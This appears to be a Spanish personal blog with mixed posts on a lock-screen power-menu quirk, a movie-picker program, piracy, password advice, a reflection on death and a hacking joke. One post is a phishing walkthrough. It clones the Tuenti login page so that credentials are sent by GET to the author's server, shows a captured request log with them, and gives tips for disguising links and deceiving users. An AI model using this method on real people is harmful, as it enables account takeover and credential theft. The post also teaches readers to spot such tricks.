Seguridad en Patrones de Desbloqueo

Primero, para la gente que no lo sepa, ¿Qué es un patrón de desbloqueo?

El patrón de desbloqueo:

ahí lo podemos ver, la gente lo activa para cuando alguien nos coja el móvil, tendrá que saber dicho patrón, que son una secuancia de movimientos que elije el usuario al azar.

Entonces si alguien nos coje el movil se encuentra con ésto, lo primero que hará es poner patrones aleatorios, a ver si de casualidad acierta, pero al cabo de 5 intentos, se bloquea 30 segundos, y si lo sigue intentando se bloqueará absolutamente y solo es desbloqueable si se pone la contraseña al email asociado (en el caso de android). El patrón permite que la persona que nos cogió el móvil no pueda mirarnos mensajes, ni llamar (solo puede la de emergencia, que se ve en la imagen), ni andarnos en el movil, ni hacernos nada de nada, bueno....eso debería ser en teoría...

Resulta que como muchos móviles, hay un boton que es para cuando le das, bloqueas el teléfono, y se apaga la pantalla, y que si mantienes pulsado, te da una serie de opciones como apagar el movil, poner en silencio, en modo vuelo, y en el caso de android 2.2 activar la red móvil.

(Perdón por la calidad de la foto)

entonces se me ocurrió mezclar estas dos cosillas.

Sin desbloquear el patrón, al pulsar una vez el dicho botón, se apaga la pantalla, perfecto, así no gasta luz de pantalla y por lo tanto batería, ya que últimamente cuesta mucho...

Pero... ¿Y que pasa si pulso mucho?

Sí, justo lo que estáis pensando, vuelve a salir la ventanita de las opciones, con opciones que podría ser peligrosas.

Por ejemplo:

Caso 1: Estando en una clase, una persona le pide el móvil a otra, ella inocente y segura de que tiene el patrón, se lo deja, ya que no podrá hacer nada, pero la persona le activa el sonido. Se lo devuelve poniendo cara de indignación al no acertar el patrón, y desde debajo de la mesa, llama a la persona que le pidió el móvil, haciendo que suene en clase, que bromista, jajaja.

Caso 2: En vez de quitarle el sonido, le activa el modo vuelo, y si no se da cuenta, estaría sin poder recibir los mensajes de su gran amiga, la teleoperadora con nuevas ofertas...que desgracia...

Caso 3: Le activa la red móvil, y claro... el movil, que no es tonto, se quiere conectar a internet, pues...para ver si tiene alguna actualización, para ver si hay alguien en el gtalk, sincronizar el twitter, y claro, la teleoperadora, al no tener contratada una tarifa de datos porque hay crisis...al conectarte un día, te cobra un pastón.

Caso 4: lo de apagar el móvil, no tiene mucho sentido, porque también se puede hacer quitándole la batería, aun que es una putada igual.

Y nada más al respecto, solo que en los viejos nokia de antaño:

Cuando estaba bloqueado, y le pulsabas al botón, te decía que lo había que desbloquear

Peliculómetro

Todo comenzó un día de aburrimiento sin internet, quería ver una de mis innumerables películas 

que aún no vi ni la mitad, y no me decidía.

Dado que un amigo hiciera un selector aleatorio de archivos de una misma carpeta,

pero que solo funcionaba en windows y

tampoco funcionaba con películas de las subcarpetas,

decidí mejorarlo:

 1) Para empezar lo quise hacer multiplataforma. Java en este caso.

 2) Hacerle un interfaz gráfico.

 3) Permitir que escoja películas que haya en subcarpetas.

 4) Que solo escoja archivos de vídeo y no tenga en cuenta los demás

Con un simple doble click ya ejecutaremos el Peliculometro.

Su uso es muy fácil:

 Deberemos escoger la carpeta raíz de las películas.

  Por ejemplo:

   Tenemos en la carpeta “películas”, varias carpetas, “infantiles”, “acción”,

    “comedia”, “drama”,....

   pues tendremos que poner la carpeta raíz, en este caso “películas”.

   Una vez seleccionado, le daremos a película aleatoria, y aparecerá una ventana con el nombre de la película,

   así como su localización en la carpeta, para que no pierdas tiempo en buscarla, 

   si no te convence, le puedes dar otra vez al botón de película aleatoria, para que genere otra.

Espero que os guste, acepto sugerencias, ya que no me maté mucho en hacerlo.

DESCARGAR 

Wakyconsejo:

No pongas la raíz del disco duro,

porque tendría que buscar por todo el disco duro películas, 

y su uso prolongado puede causar errores en el disco.

Evitando la Piratería

Que tire el primer CD quien nunca haya pirateado un disco.

Podrán decir lo que quieran, todos absolutamente todos, pirateamos un CD de música, una película, un programa...

Incluido los propios músicos.

Con este Post no intento que halla más piratería, pero si alguna persona del ministerio, con dos dedos de frente me lee, que intente valorar por lo menos mi idea, que además es compartida por muchísima gente.

El otro día, fui a una tienda, y vi ofertas de CD a 5€, de grupos que en un sitio normal están a 20€

¿Cuál fue el resultado?

4 CD originales para mi.

¿Por qué?

Es fácil, si tu ves un CD original y ves que está tirado de precio...pues por el hecho de tenerlo original, te lo compras, si hubiera estado a sus 20€, anotaría el nombre de los respectivos CDs y al llegar a casa los descargaría, como la mayoría de vosotros.

La gran excusa:

Pones los CDs al mismo precio que EEUU y allí hay muchísima menos piratería.

Si claro, pero es que para ellos 20€ son como para nosotros 5€.

¿En serio pensáis que nos vamos a tragar tal excusa?

Si los precios de los cds, estuvieran por lo menos a 7€, precio normal, y ya pues a 20€ las ediciones especiales o incluso a más las ediciones de coleccionista, la piratería de música bajaría una barbaridad, y en eso todos estamos de acuerdo.

¿A claro...pero y que pasa con el dinero que ganan los artistas por cada CD?

Varios artistas ya lo dijeron, que por los CDs ellos no ganaban casi nada, que todo el dinero lo ganaban de los conciertos.

Osea que el Spotify le hace ganar más dinero a ellos que cualquier CD, ya que en el Spotify puedes oír todo su repertorio, y si ves un concierto de ese artista/as pues te vas a su concierto, y además, la piratería le hace ganar más dinero, por lo mismo básicamente, te descargas el CD, lo escuchas, te gusta, (a lo mejor no todas las canciones, con lo cual, comprar un CD por 2 canciones que te gusten, no es muy rentable) pero supongamos que te gustan bastantes, pues vas a un concierto de ese artista cuando tengas la oportunidad.

CINE:

El tema de que estamos haciendo desaparecer el cine...otro cuento chino, la noticia es:

El propio cine se está haciendo desaparecer a si mismo.

Una persona a nivel normal de cine, que va pues...una vez al mes, o una vez cada dos meses, o como yo, que en este año solo fui dos veces aun, va al cine cuando hay una película lo suficientemente buena/interesante que valga la pena pagar tanto para ir a verla:

Si Avatar tuvo ese gran éxito en España, fue porque era de las primeras películas en 3D, y lo mejor es que era un precio lo suficientemente normal, que por esa calidad de película con los efectos 3D pagarías los 7,5€ por verla, pero claro... las demás películas que no son en 3D están a 5€, y ver una película que puedes descargar en internet, y verla tranquilamente en tu home cinema con tus palomitas sin que tengas que esconderlas porque no te las dejan traer de fuera, que hasta puedes poner los pies en la mesa de la sala para estar más cómodo... yo aún pagaría por estar en casa y no por el cine.

¿Pero que pasó el año pasado?

Resulta que se celebró algo así como el día del cine, donde ir a cualquier película (supongo que no entraban las de 3D) te costaba 2€, resultado: el cine en cuestión, hizo más dinero ese día que un mes normal del año.

CONSEJOS DE WAKY

Así que mirad, la gente no es parva, pero estamos en crisis, si queréis ganar dinero y evitar la piratería, tendréis que bajar las cosas de precio, como ya os dije en el caso del cine, ganáis más dinero un día de 2€ la entrada que un mes a 5€ .

Eso si, como dice en el código penal, es mejor que peguéis, violéis, acoséis, robéis, pero no uséis el emule.

Más información sobre esta última frase aquí.

Suplantación de la identidad, robo de contraseñas

Hoy vamos a ver un ataque de suplantación de la identidad. Es decir, hacernos pasar por otro para poder conseguir algo.

En este ejemplo me haré pasar por www.tuenti.com para que un usuario al iniciar sesión me envíe a mi el email y la contraseña.

Las cosas que se vean aquí son de simple información, cualquier mal uso de ellas es bajo vuestra responsabilidad.

Supongamos un ejemplo:

Persona 1: envía un link de tuenti a otra persona para decirle algo sobre una determinada foto.

Persona 2: al darle en el link, le pide autentificarse, se autentifica y es llevado a la foto en cuestión.

Persona 1: tiene el email y la contraseña de persona 2.

¿Cómo es posible?

En primer lugar para poder recibir los datos, necesitamos tener un servidor.

¿Un servidor?, buf paso...

No, no, no hace falta un servidor de eses especiales de internet.

Simplemente un programa que al recibir una petición, le envíe la petición pedida.

Un simple programita en java o C o del lenguaje que queramos, sin matarnos mucho es suficiente, conque sepa atender una simple petición GET (lo que hace que envíe un archivo, en este caso un .html) y que en nuestra terminal nos muestre la petición.

(Click para ampliar)

¿Y que hacemos con eso?

Pues muy fácil, con ese tenemos montado un miniservidor, ahora cuando alguien ponga nuestra dirección de servidor (es la IP, pero ya mostraré luego maneras de ocultarla)

Le enviaremos una pagina web por ejemplo. ¿Y que página exactamente?

(Click para ampliar)

No, no es la página del tuenti, es la página modificada del tuenti, el mismo aspecto, exactamente igual, salvo en el envío de la petición, y algún cambio más en el código fuente.

Que lo podréis descargar aquí. Viene comentado, el html del tuenti también.

Lo que hice básicamente fue que al enviar el formulario a tuenti por método post, en vez de mandarle eso así a tuenti, hice que me lo mandará a mi por método GET (Se puede hacer por post también, pero entonces tendríamos que tener el servido nuestro para que las atendiera y es un poco difícil, así que ponemos petición GET que el resultado va a ser el mismo, y la víctima no se enterará de esa petición)

Luego además, le puse que cuando diera a intro o clicara sobre Entrar, le puse un hipervínculo a una foto.

La diferencia entre la petición GET y POST, es que en la GET los datos van en la dirección URL y en el post van “ocultos”.

Entonces al recibir nuestra petición GET en nuestro servidor, veremos pone:

GET /?email=email+de+la+victima%40lala.com&input_password=12345&timezone=1 HTTP/1.1

--Host: 192.168.0.31:5000

--User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6

--Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3

--Accept-Encoding: gzip,deflate

--Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

--Keep-Alive: 115

--Connection: keep-alive

--Referer: http://192.168.0.32:5000/www.tuentifotos.com/m=Home/func=do_login/index.html

no que ser un científico graduado en Harvard para saber que:

email=email+de+la+victima%40lala.com:

es el email en cuestión que sería: 'email de la victima@lala.com'

y input_password=12345:

que es la contraseña que sería '12345'

Éstos son los dos campos que nos interesan.

Con lo cual ya los tenemos.

Y la víctima será enviada a la página que teníamos hipervinculada

además así con las tonterías también podemos saber que su IP es la que está después de Host.

El tipo de navegador que usa entre otras, en este caso un Firefox 3.6

Además este servidor lo implementé con un control de logs, para que guarde en un fichero los accesos de la gente, donde podemos ver su IP, la fecha, y lo que pidió al servidor (osea las peticiones), las peticiones GET de email y contraseña se encuentran en el logsError.log ya que hace una petición de una pagina que no tienes y devuelve un 404 NOT FOUND aunque la víctima no llega a verlo.

Luego para poner menos cantoso el nombre, porque no mola decirle a una persona.

Mira está foto:

192.168.10.110:5000

Canta muchísimo.

Entonces tenemos varias maneras.

Hay paginas como Bit.ly y así que te acortan las direcciones.

Entonces le mandarías un link de Bit.ly y esta lo redireccionería a tu IP, o otras páginas como

no-ip.com que te pone un dominio y así no se ven los números de tu IP.

También podemos poner el index.html en una carpeta para que tampoco cante mucho.

Así podríamos poner algo en plan:

http://192.168.0.40:5000/www.tuentifotos.com/m=Home/func=do_login/index.html

es decir el index.html lo tengo en una carpeta llamada func=do_login que a su vez está en una llamada m=Home y esta ultima en www.tuentifotos.com

O ya siendo hackers guays

podremos hacer un Hipervínculo.

Que viene a ser un nombre que al clicarle te lleva a otro lado.

Entonces de nombre le podemos poner el que queramos y la página redireccionda pues la de antes.

Ejemplo de hipervínculo chachi:

www.bing.es

Ahora es solo pensar como podemos engañar a la gente, que por lo general, los usuarios de ordenadores normales que usan Internet Explorer que solo utilizan el ordenador para chatear etc etc, son fáciles de engañar.

Recordad que si hacéis esto a través de un router, tenéis que redireccionar el puerto a Vuestra IP, ya que vuestra IP externa es otra.

Así que:

CONSEJOS DE WAKY:

→ Lo primero es mirar que cuando vayas a iniciar sesión te fijes en la barra de direcciones:

ahí está la dirección real, si ves que tiene algo extraño desconfía.

→ Ojito con los hipervínculos de páginas que os manden, como ya visteis, no siempre os mandan a donde de verdad pone que os manda.

→ Hay muchos casos de suplantación de la identidad como estes, esto no fue más que uno así chapucerillo, pero efectivo, solo es para que os sirva de ejemplo.

Contraseñas seguras

¿En cuanto tiempo crees que se puede averiguar tu contraseña?

Si tu contraseña tiene menos de 8 caracteres vete olvidándote de que sea segura.

A la velocidad que avanza la tecnología las palabras de 5 caracteres se averiguan en menos de 10 min.

Si tu contraseña son solo números...estás en el mismo caso aunque tenga doble longitud.

Esto por la parte de fuerza bruta.

Por la parte lógica se suele probar con cosas relacionadas hacia ti, como tu nombre, el nombre del perro...o las contraseñas más típicas de internet, como:

123456

000000

contraseña

sí, es triste pero son las más usadas...

¿Entonces qué tiene que cumplir una contraseña para que sea segura?

1-Lo primero como mínimo 8 caracteres, siendo lo ideal 12 y de ahí para arriba.

2-No debe tener ningún sentido:

Supongamos que alguien te ve escribiendo la contraseña y es algo con sentido, si ve las primeras letras puede saber el final de la contraseña, mientras que si no tiene ningún sentido le costará lo suyo intentar adivinarla, mirando solo para el teclado.

3-Debe tener aspecto de caracteres aleatorios.

4-Debe tener mayúsculas y minúsculas, números y caracteres especiales.

5-No repetirla en todos los sitios.

¿Y como voy a conseguir acordarme de una o varias contraseñas tan largas y con esas bases?

Esto es lo más divertido.

Simplemente tenemos que pensar en una frase.

Por ejemplo:

Mi tío Juan se fue a Holanda en el mes de octubre.

Y transformamos la frase: quedándonos con un patrón, por ejemplo las iniciales.

MtJsfaHeemdo

aparentemente parece aleatoria, mayúsculas y minúsculas, pero ya que estamos podremos ponerles números, por ejemplo el mes de octubre es el mes 10, o que tenemos dos ee seguidas, podremos poner e2 porque se repite

MtJsfaHe2md10

y los caracteres especiales, pues podemos cambiar la a por una @, la e por €, las S por $, las i pos ¡, esto es el poder de la imaginación.

MtJ$f@H2€md10

y eso es una contraseña que ya puede flipar la gente para descubrirla.

Lo ideal es tener varias contraseñas para cada cosa, una para el MSN, otra para el tuenti, etc etc

podemos pensar en varias frases o podremos cambiar algo a la que tenemos, al estilo de si es una contraseña del MSN, podremos añadir las letras MSN al final, o al principio,

si es del tuenti, ya tenemos dos dígitos más 20, que puedes añadir, así siempre será distinta y solo tu recordarás el patrón.

MSNMtJ$f@H2e€md10 para MSN.

MtJ$f@H2€md10T20 para tuenti.

MtJ$f@H2€md10MU para megaupload

creo que ya pilláis el concepto.

Y lo más importante nunca la escribas y la guardes.

No, no es una gilipollez, y no me refiero a escribirla en un papel y guardarla.

En este mundo de vagos, los preciosos navegadores tienen la opción de recordar contraseña, y nosotros, como nos es más cómodo le damos a recordar.

Grave error...

Porque si una persona tiene acceso al ordenador, no tiene más que ir al navegador y darle a mostrar contraseñas, y ya las tiene todas, además de que existen programas espía que las recopilan todas, incluidas las del MSN cuando tiene la opción de recordar contraseña.

¿Y la voy a tener que escribir siempre?

CONSEJO DE WAKY:

Hombre...es lo más seguro, peeeeeeero, tenemos la solución apta para vagos.

Si queremos recordar la contraseña, podemos recordar una parecida a la nuestra, asi por ejemplo para nuestra contraseña del tuenti recordamos la contraseña:

MtJ$f@H2e€md120

y cuando vayamos a iniciar sesión sabemos que nos falta el 0T

así solo tendremos que contar los asteriscos (dos por la derecha), le damos dos a la derecha y escribimos el 0T.

PD: recordemos que estas son las contraseñas ideales, pero tampoco pasa nada porque no cumpla todo. Si no consigues una perfecta tampoco te tires de los pelos, y si no le das puesto números tampoco pasa nada, o si solo tiene dos mayúsculas, pero intenta cumplir los máximos requisitos posibles.

Carpe Diem

Todos somos inmortales hasta que se demuestre lo contrario.

¿Pero que pensamientos pasan por nuestra cabeza instantes antes de que se demuestre lo contrario?

Bajo mi punto de vista, frente al gran debate de cual de las muertes es peor, ahogado, desangrado, quemado... lo peor no es la manera física, sino la psíquica.

Cuando estas en ese momentos, no creo que lo que se te pasa por la cabeza es precisamente el dolor, sino que te quedarías pensando todo lo que hiciste, de cosas que te arrepientes, de cosas que te encantaría hacer, de poderle decir a alguien que sea feliz pase lo que pase, incluso de alguien que hace tiempo que no ves, alguien con el que no te hablas...de todas las personas que quieres y no volverás a ver...de toda la familia que se queda sin ti...

y la peor parte se la llevan las personas que están solas, pensando en que no tienen a nadie para pensar, a alguien en quien querer, viviendo toda su vida en silencio y arrepintiéndose de su soledad.

Entonces llegamos a la conclusión de que hay algo peor que la muerte, y es la soledad...

Por eso sabemos que los enfados tontos no llevan a ningún lado, ya que sabemos que en el fondo de ti recuerdas los buenos momentos y te das cuenta de que los enfados tontos no valen para nada, y hasta los graves tampoco...porque un padre le hubiese gustado volver a darle un abrazo a ese hijo que se fue de casa, cuando una simple llamada telefónica y una conversación abierta de corazón podría arreglar todo, un simple ¿Qué te pasa? Y su correspondiente respuesta procedente del corazón, un perdón, un abrazo... son cosas que en el momento en que ves tu vida en 1 segundo desearías que te hubiese pasado, poder dar marcha atrás y en vez de arrepentirte poder recordar el profundo abrazo.

Si algún día se demuestra que no soy inmortal sé que pensaría en cada una de las personas importantes que tengo y que quiero aunque ellas no lo sepan, recordar todo lo que pasamos juntos y desearía mandarles el mensaje de que sean felices, solo me arrepentiría de no poder pasar más tiempo con ellas, de no poderle decir todo lo que siento, de lo importante que son para mi, aunque en cierto modo creo que eso ya lo saben, aun así si alguna vez queréis que os lo diga os lo diré, porque sois los que hacéis que mi vida no sea soledad... las que hacen que cada mañana me levante, y si algún día me enfado con vosotros (que ya sabéis que yo no me enfado), no lo tengáis en cuenta, porque seguramente esté haciendo el paripé para que vengáis a darme un abrazo.

Novias para Hackers

Buenas querido hacker, le mostraré como conseguir una novia a su estilo.

Primero tenemos que tener un ordenador al que atacar (posible novia).

Como bien sabrás, antes de empezar a atacar hay que recoger toda la información posible, ip (teléfono) nombres de usuario, etc etc.

Ya que sin eses datos el único ataque que podremos hacer es el de fuerza bruta y no suele funcionar.

El ordenador a atacar es más fácil cuanto más lo conozcas, incluso si tienes acceso personal a él. (verse y esas cosas).

Una ves que conozcas el software y a ser posible el hardware y valorar si vale la pena o no (comprobar que te gusta tanto psicamente como físicamente) es hora de buscar el mejor ataque.

Es importante no ir directamente al puerto 69, suele estar tapado, a no ser que tenga un virus el ordenador (ninfomanía).

La denegación de servicio, lo que los humanoides llaman acoso, tampoco está bien visto, los ordenadores a atacar suelen tener un buen firewall que les hace o bien pasar de todo o bloquearte el acceso por un tiempo.

Lo que se debe hacer es currárselo bien, no podemos lanzar ataques así como así, tienen que ser precisos y en el momento apropiado. (conocido como echar ficha)

En cuanto veas que los ataques empiezan a afectar a su firewall y veas que entran bien, hay que preparar bien el momento en el que inyectes tu virus I LOVE (L) en el ordenador víctima.

Si su antivirus está desactivado (normalmente lo desactivan ellas), tendrás éxito y novia.

Si por el contrario sufres el bloqueo del antivirus... quedan varias opciones.

1. Si el ordenador víctima tiene ese software que tanto te gusta y ese hardware...quizás debas esperas un poco para nuevo ataque, porque los software se suelen actualizar, claro que hay gente que pasa de todo y no actualiza nada...entonces seguirá con las mismas barreras, que tenías antes.

2. Hay más ordenadores por el mundo, con software distinto y hardware compatible.